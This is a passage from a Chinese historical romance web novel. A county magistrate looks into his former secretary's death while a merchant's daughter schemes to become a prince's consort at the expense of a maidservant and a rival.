周启不想让吴怡知道自己的真实目的,径直往后院走去,吴怡请了一炷香自己拜起佛祖。张灵已经在一旁看见了两人,小心翼翼走进后院。“周大人?” “张灵?” “周大人也来上香吗?” “哦,是啊。”周启站在院中,也不知道去哪里找主持,毕竟以前都是主持来迎他。 “周大人这是找什么呢?” “没什么。”周启看了一眼张灵,漫不经心地说道:“这庙里你常来吗?” “常来啊,我们跑商的难免求神拜佛,讨个吉利嘛。” “哦,那,那平时主持在哪?” “主持?周大人找主持做什么?”张灵一笑,又说道:“这个时候主持应该在上早课吧,还是等会吧。” “哦上早课,那,那我等会吧。” “怎么?周大人是想点盏长明灯还是要添香火钱?” “要是添香火钱需要找主持吗?一般还有什么事情需要找主持说呢?” “添香火钱若是比较多的话都会通报主持的,据说主持会在佛祖面前为香客念上一篇经文以保平安。不过别的事情也可以找啊,若是总来,与主持相熟,出来接待也是有的。周大人这是?” “不瞒你说,我辞退的师爷孙林突然暴毙,仵作虽说是意外而亡,我终究不放心。李博探得这孙林每隔十天就来庙里,还将所有积蓄都花在了添香火钱上,我觉得他肯定有什么事情是我不知道的,所以过来看看。” “大人还真是勤勉,竟亲自前来。” “唉,李博居然什么也没打听出来,我只好自己来了。” “周大人,我一会儿要添点香火钱,这里的主持又跟我很熟,不如我为大人去打听打听吧。否则除非大人亮出身份,要不他是不会透露香客信息的。” “若是你能打听出什么再好不过了,先谢谢你了。” “周大人客气了,能为大人做点什么是张灵的荣幸。”张灵双眼含情看着周启,周启见了突觉周围都安静了。正在此时吴怡走了过来,“张小姐?”两人赶紧收起目光,“吴怡。” “张小姐也来上香啊。”吴怡看看周围并没有看见钱朵,便用眼神询问,张灵拉着吴怡往旁边走了两步,“吴怡,你过来一下,帮我看看……”两人走到角落里,张灵看周启没有看这边,赶紧说道:“吴怡,你去门口挡住钱朵。” “怎么了?” “周大人来办案的,现在心情不好,若是钱朵进来触了霉头,可是得不偿失。” “啊?办什么案子?” “先别管办什么案子了,你快去,她马上就来了。”吴怡赶紧去门口拦钱朵,过了好半天钱朵终于姗姗来迟。“钱小姐。”吴怡紧走两步。 “吴怡?”钱朵吃了一惊,张灵只说周大人回来,她实在没想到吴怡竟在门口。 “钱小姐,你,你先别进去,要不你还是回去吧?” “什么意思?” “周大人在办案,说是心情不好。” 钱朵一愣,“那你怎么在这。” “我来上香的。” 钱朵瞪了一眼吴怡,“朵朵,不好意思我来晚了。”张灵从后门出来,又绕到前门假装自己刚到。 “张小姐?你,你……” 不等吴怡说完,张灵赶紧一拉钱朵, “朵朵,我们进去吧。” 钱朵瞪了一眼吴怡,“你让开。” 吴怡双臂拦着钱朵,“钱小姐,今天进去真的不合适。” 钱朵一听生气了,“你给我让开。” 张灵赶紧劝道:“要不我们以后再说吧,也许今天真的有事呢。对吧,吴怡?” 钱朵一听更生气了,“我要去哪,还要问一个丫鬟吗?”钱朵一把推开吴怡,“你给我让开!”张灵一看,赶紧拉着钱朵,“朵朵。” 吴怡也上来拦着,“钱小姐。”钱朵似乎想把之前所有火气都发出来一样,三个女孩子在台阶上互相推搡,张灵看准机会,一把将钱朵推到吴怡一旁,吴怡正用力躲闪钱朵的攻击,一下子将钱朵从台阶上推了下去。 钱朵虽然没有栽倒,脚却受伤,顿时鼓了起来,钻心的疼使得钱朵叫了起来。“啊……” “朵朵,朵朵。”张灵赶紧下来扶着钱朵,又着急地说道:“吴怡,你怎么把朵朵推倒了。” 本来三个人打架,根本说不清谁推的,张灵这么一说,吴怡自然认为是自己不小心。吴怡赶紧过来,“钱小姐,你,你没事吧。” “我的脚。”钱朵觉得脚都不能动了,哭了起来,“张灵姐姐,我的脚。” “你先别动,我带你去看大夫。” 第一百一十三章 钱朵再次被拒 - 风吹繁花散落时 - 红酒羊排 钱朵被吴怡推倒送医,钱家很快得到消息,王夫人着急来到医馆,见女儿泪水涟涟,脚踝肿的老高,王夫人心疼极了,“天呐,朵朵,这是怎么了?啊?张灵?” 张灵赶紧安慰王夫人,“钱伯母,您千万不要着急,大夫说只是扭伤了,并没有骨折,过几天就能好,只是现在看着严重而已,您可千万别着急。还有。”张灵看了一眼站在角落里的吴怡,“吴怡她也不是故意的,您可千万别生气。” “什么?”王夫人这才看见站在墙角惊慌失措的吴怡,“吴怡?你,好啊,居然是你。我就知道,你这个女人心怀叵测,害了我们钱宁还不够,还要来害我的女儿!” “我没有。”吴怡哭着解释,“我没有,我我,我不是故意的。” 王夫人气急败坏,指着吴怡骂道:“我早就看出你不是什么好人,你拿了我们的银子却不守信用,还在徽州这里猖狂!” “夫人,我,我真的不是故意的,我不知道小姐怎么摔倒了。” “吴怡。”张灵赶紧过来拉了吴怡一下,“别说了,钱朵已经够伤心的了。” 钱朵突然又哭了起来,王夫人赶紧坐在钱朵旁边环抱着她,“我的好朵朵,娘知道你现在很疼吧,不过没关系,大夫说了没有骨折,过两天就能好了。来,我们回家,我叫下人们给你做点好吃的,吃点肉补补身体啊。” 钱朵哽咽着喊道:“娘。” “好了好了,咱们回家了。”王夫人扶起钱朵,吴怡也想来帮忙,王夫人一把将吴怡推开,“你最好离我家人远点,要不然小心我叫你好看。” “我,我只是想帮忙而已。” “你闭嘴!你这个黑心肠的女人,再敢多言,我就让你知道这徽州城到底谁说了算!” “本官倒是很想知道,这徽州成到底谁说了算。”几个女人集体往门口一看,周启正脸色难看背手站在门口。 王夫人脸色也不好看,她迅速收回目光。 周启缓缓走了进来,原来他与张灵一起从后门离开,原本等着张灵带回从主持那里打听的关于孙林的消息,但是左等右等不见人影,吴怡也不知道为什么还不回来。 后来派人一打听才知道,吴怡居然在门口推倒了钱朵,周启这才来到医馆,还没进门就听见钱夫人“大逆不道”之言,自然一下子就火了。 王夫人可不是什么软柿子,她不过稍微示弱,她对周开也不是很喜欢,谁叫他拒绝了自己女儿选择了张灵破坏了她期盼已久的钱张两家联姻。 “周知府,哦不对,周知县,这徽州城谁说了算,反正都轮不着您周知县。” 周启一听更火了,“钱夫人这话简直就是大逆不道,天下之大莫非王土,还轮不到你一个妇道人家在这里出此狂言。” ”哼,周大人还真是会扣帽子,我和吴怡有言在先,她拿了我们的银子就要离开徽州,这是你情我愿的事情,怎么?周大人要破坏公平交易?“ 周启回身看了一眼吴怡,她就想做错事的小孩一样站在角落不敢说话也不敢抬头。周启又看了看钱朵,钱朵肿着双眼,露出惊慌之色,“你脚怎么样?” 钱朵怔住了,这还是第一次周启关心自己,“我没事。” “朵朵。”王夫人不知道钱朵说得什么鬼话,但是不利于自己就对了。 钱朵可不管王夫人怎么想,又继续说道:“大夫说没有骨折,过两天就好了。” “那就好,若是有什么问题,一定要记得赶紧看大夫。” “嗯,好。”钱朵心里如小鹿乱撞一般,脚也不疼了。 周启回头叫到:“吴怡。” “嗯?”吴怡上前走了一下步。 “你欠钱家多少钱?” “啊?我,可是我将那些钱都捐了,我没拿啊。”吴怡觉得为委屈,明明自己想还给钱家,可是钱家不要,她没有办法才将所有钱都捐了。 “我就问你拿了钱家多少钱。”周启坚定地一字一字说道。 “一万两。”吴怡特别小声地低着头说到。 “明天我会派人给你送过去,从此你与吴怡没有任何关系,你以后放尊重点。” “我尊重她?她就算不欠我钱,她也不过是个丫鬟,还是一个人品奇差的丫鬟。” “娘。”钱朵觉得王夫人有点过分,想要阻止,王夫人却觉得女儿长大了还真是不由娘,一点都不叫人省心,所以更加生气。 张灵在旁边觉得形式发展地超过了预期,她就是想让吴怡离开徽州,没想到周启能过来,“钱伯母,吴怡她也不是穷凶极恶,她真的不是故意的。再说周大人也不是不讲道理的人,他还是挺关心朵朵的。对吧,朵朵。” “你闭嘴!我知道你现在与周大人纠缠不清,现在你还没怎么着呢就这么帮着他,人家可没有把你当回事,人家眼里只有这个下贱丫头。” 张灵觉得有些尴尬,一时不知道说什么,她不可置信看着钱朵,钱朵觉得奇怪对张灵说道:“你什么时候和周大人纠缠不清。” “没有啊。”张灵赶紧撇清关系,“朵朵,我要是和周大人有什么,我为什么要替你筹谋呢,我就是知道你喜欢周大人我才不敢做什么,我们才是最好的朋友。” 钱朵觉得很丢脸,她一直没有告诉周启她喜欢他,可是今天却被张灵说破了,便赶紧否认,“谁谁,你,我才没有喜欢别人呢。” 周启也愣了,他早就看出钱朵对自己的小心思,但是他早就明确拒绝了钱朵,但是如今张灵捅破了这张窗户纸,所有人都陷入了尴尬。 幸亏周启也不是第一次被人表白,“张小姐,我想你误会了,我和钱小姐只是普通朋友。” 张灵面露尴尬,赶紧闭嘴。钱朵觉得更加尴尬,她心一横,对周启说道:“周大人,我们不是什么朋友,我,我是喜欢你,希望你能明白。” “钱朵!”王夫人觉得钱朵疯了,她还是第一次见到女孩子这么大胆。 张灵站在旁边觉得场面逐渐失控,她想赶紧让大家分开,“朵朵,要不我还是先送你回去吧,钱伯母,您说呢?” “不!我要说清楚。周大人,我从第一次看见你就觉得不一样,我喜欢你很久了,我希望你能明白我的心意。” “钱朵。我……”周启虽然拒人无数,但是当面这么明说的还真是没有,“我,钱朵,我不能喜欢你。” 钱朵瞬间掉下泪来,“为什么?” “我,因为我,我有喜欢的人了。” 钱朵看了看吴怡,又看了看张灵,“能告诉我是谁吗?” 周启觉得自己说这话真是不太明智,但是事已如此只好将话说清楚,”好吧,我喜欢吴怡。”周启回身一把将吴怡拉进怀里。单手环抱着吴怡,“我喜欢吴怡,所以不能再喜欢别人了。” “你,你们?”钱朵更加伤心了,她早就知道周启与吴怡关系不简单,可是亲耳听见还是让人难以接受。 钱朵觉得呼吸都困难了,她强忍着泪水想离开,可是一抬步,脚踝生疼,钱朵一下子没站稳差点倒在地上,周启伸手接住钱朵,钱朵一把将周启推开,“别碰我!” 幸亏王夫人和张灵已经过来扶着钱朵,钱朵慢慢站起来,被两个人扶着,钱朵哭着说道:“我钱朵也是大家闺秀,竟连一个小丫鬟都比不过。” 周启觉得反正话都说成这样了,不如说得更清楚一点,“这不是身份的问题。” 钱朵突然情绪失控喊道:“那是什么问题?” “钱朵,我这么说你可能不明白,但是喜欢就是喜欢,不喜欢就是不喜欢,我喜欢的人是吴怡,没法再接受你了,实在对不起。” 钱朵抽泣道:“既然不喜欢我,那你,你,呜呜呜呜。”钱朵已经伤心地说不出一句话来,王夫人赶紧劝钱朵,“朵朵,朵朵,咱们不伤心了啊,咱们回家去。” 钱朵泣不成声,被王夫人扶着一脚深一脚浅地离开,张灵扶着钱朵倒是没有这么忧伤,毕竟她觉得周启这么说就是权宜之计,自己和钱朵毕竟不同,自己可是周启的救命恩人,不仅知道周启的真实身份,还与周启如此谈得来。 此时吴怡还没有反应过来,她看着钱朵离开,赶紧问周启,“你你你。” “你什么你,我就是不想钱朵多想,骗她的。”周启赶紧将吴怡撒开。 吴怡长出一口气,心算是放在了肚子里,“吓死我了。” 周启经过吴怡身边,“你这种蠢女人谁会喜欢你呢。” “嘿。”吴怡追上周启一起回衙门,“我怎么蠢了?” “哦对了。”周启站住对吴怡说道:“你现在欠我一万零八两银子了。” “啊?哎呀。不对,周大人,周大人,我的一万两银子捐给学堂了,你能不能给我要回来?” “捐出去怎么能要呢?” “可是开始我以为钱家不要,我才给捐了,现在人家要,我得还给人家。” “那可不行,这学堂关系学生的未来,你可不要胡闹,再说了,邓敬之可是古板的很,他是绝对不会还你的,没准还得把你赶回来。” “啊,周大人,你帮帮我吧,求你了。” “没问题啊,你欠我一万零八两。”周启说完,笑着离开了,吴怡差点想死,“一万两,什么时候能还上?一辈子够吗?” 第一百一十四章 钱宁安慰妹妹 - 风吹繁花散落时 - 红酒羊排 “你说你喜欢吴怡?还当着这么多人的面?”李博简直是冲进了书房,周启眉毛皱了一下,缓缓从书架中走出来,将书扔在桌子上,“怪不得钱夫人说这徽州谁说了算还不一定呢。” “那个女人敢这么说?”李博正要批评钱夫人几句,忽见周启脸色不太好,才终于意识到自己失态,赶紧一抱拳,施礼道:“大人赎罪,我,我刚才唐突了。” 周启缓缓坐在书桌后,“不过是权宜之计,不要太当真。” “权宜之计?那就好,那就好。我刚才一听说简直吓死了。”李博顺了顺自己的胸口又说道:“不过我还是有句话得说,你刚拒绝一个钱朵可远远不够,过两个月你就娶那个回纥公主了,你还是得认真对待才行啊。” “小点声!” “哦,是。”李博赶紧回身看看周围,“这还是个秘密呢,我看呐赶紧将孙林的案子完结,等着回京好了。老天保佑,最近可千万别再出什么事情了。” 李博虽然查看四周,却没看见吴怡正从书房门口离开。 原来,吴怡在庙里被周启一席话弄得晕头转向,又妙明奇妙欠了周启一万两银子恐怕这辈子都还不清了,正想来找周大人讨价还价,趁机问问他自己到底在他心里算什么。可是刚站在门口就听李博说周大人要娶回纥公主,吴怡突然僵住,觉得什么也听不见,自己机械地转身离开。 吴怡之前总觉得周大人作为官员就爱欺负她,可是一天不见周大人还觉得少了点什么。最近更是,一天想八百遍周大人,也许是因为天天欠周启钱,对他咬牙切齿吧。 可是当吴怡突然听说周大人马上就要娶别人了,心里便觉得怪怪的,有点失落似的。 幸亏吴怡不懂朝廷规矩,否则她一定会发现周启身份的不同寻常。 再说这边钱朵被拒绝后在自己房间抽抽搭搭,王夫人心急如焚,钱宁刚刚得知便急急来看妹妹。“娘。” “钱宁。”王夫人看见钱宁便觉得有了主心骨,“你看朵朵,这个丫头居然当着那么多人的面说喜欢人家,还被人家拒绝了!你赶紧说说她。” 钱朵一时不愿意了,哭喊着:“你别说了,你出去!” 王夫人真是恨铁不成钢,“你!真是不争气的丫头!” “娘,我来吧,您先回去休息吧,我来劝劝她。”钱宁劝走了王夫人,自己来到钱朵身边,“好了,别哭了。” 钱朵声泪俱下,“哥,哥,凭什么呀,我哪点不好了?” 钱宁最近也在问自己,自己哪点不好了,后来才终于想通,“朵朵,也许不是你不好,只是你不适合。” “我不适合了?” 钱宁拍着妹妹的背,“朵朵,感情的事情是很玄妙的,也是只是你不适合,就好像周大人不知怎的入了你的眼,可是很多人看见他也没觉得怎样。” “谁说的。”钱朵原本以为哥哥有什么高论正聚精会神听着,谁知竟说了这样一句她无法苟同的话,“哥,人家周大人自然是好的,要不张灵为什么也上赶着。” “张灵?你听谁说?” “今天娘说的,怪不得我前两天看见张灵对我们钱家极为冷淡,我还以为她与你闹了别扭。” “好了,那就算周大人魅力四射所有人都喜欢他吧。可是他也不能喜欢所有人啊,若是他是个来者不拒之人,又有什么魅力可以迷住你?” “我……”钱朵一时语塞竟又哭了起来,“那他凭什么不喜欢我?我到底哪里不好了。” 钱宁无奈地笑了一下,“好了,朵朵,朵朵。”钱宁自己走到妹妹面前,耐心劝道:“若是张灵也喜欢周大人这件事是真的,那你见周大人喜欢她了吗?” 钱朵突然安静了,就好像强忍着,突然又上气不接下气,“哥,你说周大人是什么眼光,我和张灵都入不了他的眼,就偏偏那个吴怡让他喜欢。” “吴怡?” 钱朵擤了一把鼻涕,说道:“是啊,周大人当着那么多人的面说自己喜欢的是吴怡。呜呜呜,哥,你看我们居然都被骗了,那个吴怡就是把你骗了,呜呜呜呜。” 钱宁苦笑一下,小声说道:“怪不得呢。” “哥。”钱朵拉着钱宁的手说道:“我们钱家怎么不好了?我到底哪里不好了?都是因为吴怡,要是没有她,我们兄妹会如此痛苦吗?” “钱朵,这怎么能怪吴怡呢?我最近想明白了,她若是违背自己的心意跟了我,那才是对不起我呢。” “什么意思?” “钱朵。”钱宁蹲下来认认真真说道:“若是我们成亲后她一点也不快乐,那我又怎么能好过呢?同样的,若是你成亲后,你的男人一点也不快乐,你又如何好过呢?” 钱朵瞬间不哭了,她似乎有为所动,钱宁继续说道:“以前大家都在想是找一个自己喜欢的人过一辈子,还是找喜欢自己的人过一辈子。可是感情是双方的,若并非相互喜欢,我想都不能长久,我们不能为了一时的欢愉,耽误两个人彼此的一生啊。” 钱朵想了想,放开了钱宁的手,低着头不说话。 钱宁又站起来,将钱朵搂在怀里,“朵朵,虽说这话很残忍,可是在事情没有变得无法收场与后悔都来不及之前,我们就往后退一步,大家也就都不这么痛苦了,你说呢?” 朵朵先是平静下来,而后猛烈的哭着,钱宁明白妹妹心里的痛,虽然感情事不是那么容易放下,但他只希望钱朵能早点想通。 — 张灵从医馆出来后将钱朵扶上马车后再次回到庙里,张家虽是晋商,在徽州的关系却也是盘根错节,这庙里的主持本就与张灵的父亲相识,也算是看着张灵长大的,所以问什么话也十分便宜。 张灵询问清了孙林的情况便来到县衙,而李博站在门口正要离开。 李博一身子挡住张灵,“我说你怎么又来了?你刚才没在吗?我们大人说了,他喜欢吴怡,不能喜欢别人,这别人当中当然也包括你的,你没听明白吗?” “我来向大人汇报孙林的情况。” “孙林?” “对啊,听说李大人也曾调查,可是什么也没有查出来。李大人,失职了。” “你!”李博也知道自己什么都没查出来是有点弱,“你能查出什么?” 张灵可不搭理李博,推开李博进入书房,向周启报告情况:“我已经打听清楚了,孙林是庙里的常客,他十五年前来歙县任师爷。 第二年,他的妻子便与他离合还带走了他们唯一的儿子。 孙林因此消沉了一段时间,可是后来因为生活拮据还是照常来县衙当差。 第三年,也就是十二年前,他开始频繁去庙里添香油钱。 据主持说孙林最开始只是普通的香客,过了没几个月他突然捐出了所有家当。 后来有段时间他没有去,再去时他在庙里呆了很久,好像经历了什么,最终点了一盏长明灯。 后来没隔十天就到庙里,主要是为了看自己点的长明灯。” “长明灯?给谁点的?” “他妻儿。” 张灵此言一出,周启和李博都惊了一下,李博赶紧问道:“他妻儿死了吗?” “开始主持不肯吐露真言,听孙林意外死亡了便将真相告诉了我。他说孙林的儿子在离开他半年后生了怪病,什么药都不管用,大夫也说不出所以然。孙林便到庙里求佛,说来也巧,自从孙林求神拜佛后,他儿子竟有痊愈的迹象,几个月后竟大好了,所以他便将所有身家都捐给了庙里。” “那后来呢?他妻儿怎么突然死了?” “这就得说是个不幸了,他妻儿被人杀了,那时候他虽然与妻子离合了,但是他一直未再娶妻生子,所以可以说他的前妻与儿子就是他唯一的亲人。” “所以他就在庙里点了长明灯?怪不得呢。”周启听完觉得自己可能在宫里日久,想问题想得有点太复杂了。 “看来这个孙林的死亡确没有什么大问题。”李博算是放心了,毕竟这要没有大问题就算没有犯错,现在周启的处境就是不求有功但求无过。 “既然这样,就不用再调查了,辛苦张灵了。” 张灵微微一笑,“能为你分忧就好。”李博与张灵一起从书房出来,张灵自然心情愉快,李博在旁边却泼冷水道:“呦,以为这样就能得到大人欢心?为他办差的人多了。” “可你们都是男的呀。” “哼。”李博被气乐了,旋即说道:“张小姐,还记得我曾经说过,没事别做美梦,容易伤身体。” “什么意思?” “你想做皇子妃,可以如今皇子妃有人做了。” “你说吴怡吗?你觉得她可能吗?” “她不当然不可能了,我说的是公主殿下。” “公主?哈,你能别逗了吗?” “哦对了,我没说明白,我说的是回纥公主。” 张灵激泠一下,“你说什么?” “我说的很清楚,张小姐就别再做梦了。”说完,李博觉得甚至有点得意,这个女人也有不知所措的时候。 第一百一十五章 张灵斗志昂扬 - 风吹繁花散落时 - 红酒羊排 张灵被突如其来的情况打了一个措手不及,但是张灵也在商场里混迹时间久了,脑子转的也快。“哈哈哈。”张灵一笑,李博倒是吓了一下,“你笑什么?”张灵满脸笑意,“谢谢李大人了,给了我这么重要的消息。” “什么意思?” “早就有消息说,六公主马上就要嫁去西凉,所以所有商人都以为两国要邦交友好,大家都忙不迭开辟西凉商陆。但是明明回纥与我大周不连接,却要将公主外嫁,虽然我大周是上邦,但是这个举动还是表明了回纥的意图。” “什么意图?” “回纥今年被西凉欺负得很惨,外嫁公主入京,定是希望我大周庇护,甚至是想在西凉完全壮大事前,回纥与我大周联手,瓜分西凉。” 李博震惊了,他没想到一个商人之女能这么快明白了两国意图,李博一激动抓住了张灵的胳膊,“你怎么知道。” 张灵见自己猜对了,更加欢喜,“哼。”张灵使劲一甩将李博甩开,“李大人,这种事情越保密越好,如今你站在院中随意说出,于我大周实在不利,若是往大了说,这无异于叛国吧!” “哼,你不必吓唬我。” “我没有吓唬李大人,李大人,商人都是无利不起早,如今我知道了西凉即将陷入战事,自然要将张家所有的伙计都撤回来。 商人们的鼻子是很灵敏的,若是我连在回纥的生意也都撤回,那有多少人会发现这不同寻常的举动后藏着这么大的国家秘密? 我在商场打拼的这几年,我觉得聪明人多了,就是这徽州城里也藏龙卧虎,好多人通过一句话,一个举动就能猜透时局。” 李博突然觉得汗毛都炸起来了,愣在原地不敢说话。 张灵却继续说道:“不过李大人不必紧张,小女子不才倒是愿意帮李大人保守秘密。” “什么条件?” “李大人是聪明人,应该明白。” 李博看了一眼书房,转向张灵说道:“一个侧妃也能入得了张小姐的法眼吗?” 张灵眼神黯淡下来,她深深吸了一口气,“不瞒大人,若是这事放在十年前,在我们晋商称霸天下之时,我不会这么选的。 或者我是男子,我也绝不会为了利益与他人联姻。 但是我长在徽商崛起的年代,我也并非男子。 你知道吗?所有人都说张灵不亏是张家的女儿,她有独到的眼光,有了张灵就有了财运。 可是我张家的生意还是要由哥哥来继承,虽然我哥哥也绝不是什么银样镴枪头,可是我呢?等我嫁了人,我就不能再做生意了,可是我不愿意,我不愿意被男人比下去,否则我与钱宁早就顺从长辈的意思成亲了。 再说我们中原自古重农抑商,明明我们商人流通货物,带动就业,安定人心。可是所有人都鄙视我们,一天到晚说无商不奸,又说我们为富不仁,等到真有什么事情,又让我们納捐。 说实在的,若是都要嫁人,我宁愿嫁给这世上最尊贵的人。高墙深宫的,直接断了念想也好。” “你不觉得自己太极端了吗?” “是这个世界对我们商人有偏见,对我这样的女商人更是不太友好。” “我倒有点同情你了。” “那怎么样?李大人,肯帮帮我嘛?” “你一定不能将回纥的事情说出去。” “若是五皇子成为我的夫君,我自然与夫君一条心。” “那你在回纥和西凉的生意?” “舍不得孩子套不着狼,再说了,生意嘛,本来就有风险。” 李博点点头,心想:这女人若是官家女也必是一个厉害角色,心够狠,也知道自己想要什么,将要付出什么,这样的人倒是很适合后宫。 “我们大人的确要娶回纥公主,但是若是这个时候他带回去一个无伤大雅的人,我想皇上也不会说什么,直接封个侧妃了事,免得出现意外。但是你要知道,若是皇后不肯,你也没有机会。” “那我该怎么办?” “带上吴怡。” “什么意思?” “若是钱朵与你一起,因为钱家的关系,钱朵的胜算就会更大,但是你和吴怡……” “我明白了,两害相权取其轻。” “聪明。”说完李博便抬腿走了,张灵站在院中恍然大悟。 搞定周启只是进入皇室的敲门砖,能不能进去必须要经过皇家长辈们定夺,而钱朵今天已经出局,吴怡就成了自己的垫脚石。 吴怡不知道自己又被安排了,还在厨房里烧火,李婶包了饺子,因为周大人是北方人,北方人在立冬这天一定要吃饺子。 “吴怡,吴怡,火太大了,千万别添柴火了啊。” 吴怡从放空中抽离出来,赶紧从灶里拿出一些木棍柴火,“对不起,对不起。” 李婶赶紧用漏勺扬了几下水,见饺子还得煮一下,赶紧问吴怡,“你怎么了?我看你无精打采的。” “没事。”吴怡将木棍上的火熄灭,又看着李婶说道:“李婶,你说,嗯……你说喜欢一个人是什么感觉啊?” 李婶拿着漏勺看着吴怡,“你有喜欢的人了?” “没有,不是我。” “哈哈,吴怡,能喜欢一个人是一件多好的事情啊。” “可是。”吴怡觉得自己也不知道自己怎么了,“可是我听说他家里给他定亲了。” 李婶停止了搅和,愣了一下,“那…” 此时饺子已经好了,李婶开始将饺子乘出来,“吴怡,虽说我们是小人,可是若是两人一生一世才是最好的,我男人就是命短,可是毕竟我有他的孩子,过一辈子也没啥问题。 可是你要是给人家做了小,两个人的事情就变成了一大家子,以后还会有孩子们,虽然不是你生的,你还要好好照顾人家,你的孩子还要管人家大老婆叫娘。 而且啊,说句不中听的,你当小的看见人家大老婆还得鞠躬行礼的,什么都要听人家的,一辈子当个下人,即使在自己家里也是一个下人,吴怡啊,你可要想好了啊。” 吴怡一听就头大了,她就没想过这么多,之前钱宁问她愿不愿意成亲的时候她就迷迷糊糊,如今就更迷糊了,尤其给人做小的事情,实在不能接受。 “可是,可是他很好啊,总是照顾我,不对,他总是欺负我,可是我也不知道怎么回事,我一听说他要成亲了,我心里就像搅着一样疼。” “吴怡。”李婶将饺子都乘好,“你要自己想清楚啊。” 李婶顿了顿又说道:“不过这事还是需要你自己想,一时半会也无法得出结论,你还是先将饺子端去给大人吧,我将这些给衙役们端去,他们又当侍卫又当衙役的也辛苦了。” “哦。”吴怡端起饺子给周启送去,可是周启在书房,她站在门口可不敢进去。“周大人?周大人?” “进来。” “不是,该吃饭了。” “拿进来吧。” 吴怡楞了一下,看看这的确是书房啊,便伸着脖子看着周启,抬了一下手中的托盘:“大人,吃饭。” “我知道,进来呀。” 吴怡试探着踏进一脚,见周启没有反应便赶紧小跑倒周启身边将饺子放下,“饺子,李婶做的。” “那肯定是李婶做的呀,你又不会。” “谁说我不会了?我是杂役,所以没机会展示。” “坐吧。” 吴怡站在周启身边看了看座位,睁大眼睛看着周启,心想:是不是喝多了? “赶紧坐下啊,不饿吗?” “不用了吧。” “那你干嘛拿两双筷子?” “这不是我拿的,是李婶。” “那你到底饿不饿?饿就赶紧坐下。” “大人。”吴怡觉得周启有点不对劲,还是乖乖坐好,“大人,你没事吧?” “我怎么了?” “这是书房啊,以前你不说这里禁止饮食,我进来都不行吗?今天怎么了?又吃又喝的?还叫我跟你一起?” 吴怡拿起筷子,觉得这事有点奇怪,不过还是挺有意思便笑了起来,“哈哈哈,大人,你不会时日无多了吧?哈哈哈,想干点什么就干点什么。” 周启白了一眼吴怡,“吃饭也堵不上你的嘴。” “嘿嘿,好吃不如饺子,舒服不如躺着,我吃饱了,一定好回房间里好好躺着,哈哈哈。” “哼,你也就这点追求了。”周启夹起一只饺子,看着吴怡说道:“你知道吗?以后可能永远也没有这样的机会,无所顾忌地在书房里饮食,没有顾忌地坐在台阶上,还能有人陪我吃饭。” “周大人,你不会真的得了什么疾病吧?” 周启又被吴怡气乐了,“我给你个好脸,你还不适应是吧?” “嘿嘿。”吴怡停顿了好久,试探着说道:“我听见了。” “什么?” “你要娶妻的事情。” 周启一下子警觉起来,“你上哪听说?” “李大人说的时候我站在门口,不过,不过我就听见一句,说你要娶……” “行行行,我知道我要娶谁。”周启赶紧阻止吴怡,“吴怡,这件事情你不要告诉别人。” “哦,放心吧,我想说我也没地方说啊。” “那就好,吴怡,我,我家里长辈很严厉,规矩也大,我也没有办法。” “你,你不想娶她吗?”吴怡小心翼翼问道:“那你,那你为什么不拒绝呢?” 周启也停住了,“吴怡,娉婷不想嫁人,我也不想娶,但是长辈说的话必须遵从。” “哦,嗯,是啊,长辈的话的确得听。”两人默默无言吃完了晚餐,黑夜来临了。 第一百一十六章 吴怡偷亲周启 - 风吹繁花散落时 - 红酒羊排 吴怡收拾完了便上床休息,她跟李婶说自己有点不舒服,但是她也不知道自己哪里不舒服,好像有一块大石头压着自己一样。 吴怡躺在床上辗转难眠,觉得自己真是蠢,若是想成亲为什么要拒绝钱宁呢?若是不想成亲为什么听说周大人要成亲却这么难过呢? 吴怡听见李婶已经呼吸缓慢,院子里也安静下来,远处狗叫也开始稀稀落落最终安静下来,猫头鹰咕咕叫了两声。 吴怡已经躺了许久,她还是睡不着所以决定起身到院子里透透气。 吴怡轻轻起来生怕惊动了李婶,她缓缓推开房门,猫着腰走出来,一出门见周启拿着灯笼在自己身后,吴怡吓得“啊”了一声。 周启倒是被吴怡吓了一跳,“你给我小点声。” 吴怡赶紧捂着嘴看看周围,幸亏只一声大家还没有被吵醒,吴怡小声说道:“周大人,你吓我一跳。” 周启放下灯笼,白了一眼吴怡,往前衙而去。 吴怡反正也没事干,干脆跟上周启问道:“周大人这么晚了你干嘛去啊?” “去趟前边。” “这么晚还办公啊?是不是有什么案子?” “我就是想看看档案,哦对了,你认识字吧?” “当然了,我认识好多呢。”吴怡特别兴奋地说道。 周启想说点什么,最终只是被逗乐了。 “我知道你是状元老爷,但是也不必这么嘲笑我吧。” 周启收敛了笑容,“那就给你一个表现得机会,我要找点档案看看,你帮我找找。” “好呀。”吴怡稍微忍了一小下,“给钱吗?” 周启又被气乐了,“你这个女人。” 吴怡耸耸肩,“我太穷了嘛,可怜可怜我吧。” “那就改天请你吃顿大餐好了。” “能换成钱吗?” “不能。” “那,那我要去同福苑。” “等你找到再邀功吧。” “那找什么呀?” 两人进入档案室,周启拿灯笼照了一下,“不知道能不能找到,不过我从十五年前开始找吧,你在十三年前的那些翻翻,我要看看孙林的妻儿是怎么死的。” “他妻子叫什么?” “我也不知道。” “那她住哪?” “不知道。” “什么都不知道,那我怎么找?” “来,就这些,从这里到可能那边吧,你好好看看,只要是写着杀人的,你就给我找出来。” 吴怡看着一整架的档案,觉得自己亏了。“这么多?那我得吃两顿饭。” 周启已经走到十五年前的档案边,“我这边应该很容易,一会我们可以一起再找找。不过两顿饭是可以的,几顿都行。” 吴怡探头看着周启,“嘿嘿,那你可别后悔哈。”不等周启回答,吴怡也翻看起来,这档案满是土,甚至还有蜘蛛小虫子皮,吴怡一边翻一边发现自己认识的字实在太少了。“周大人,回头你能不能教我写写字,我认识的字太少了。” “你知道有个东西叫词典吗?” “还有这种东西?” “就是很多都不太完全,也有有问题的,需要你自己辨别一下。” “周大人,那要是我有不懂的可以问你吗?” “当然可以。”周启又说:“不过你要知道师傅领进门修行在个人,你要学会自己学习。” “学会学习?” “是啊,等白天我可以教教你。” “好啊,谢谢周大人。啊,我找到了,杀人,我认识这两个字。”吴怡兴奋异常,举着档案来到过道旁打算给周启看。 周启却异常淡定,“你先放在旁边,这么大一个县,杀人的肯定不止一起,一会我再看吧。” 吴怡一下子冷静了,“哦。”了一身继续翻看。“周大人,你说什么情况下才会杀人呢?” “大多数为了自己的利益。” “为了自己就杀人?” “人不为己天诛地灭。” 吴怡抽档案的手稍微停了一下,“周大人,你说这话让人觉得好陌生。” 周启转头对着一排排架子说道:“你又了解我多少呢?”说完就后悔了,但是周启不是会解释自己的人,便不再多言继续翻档案。 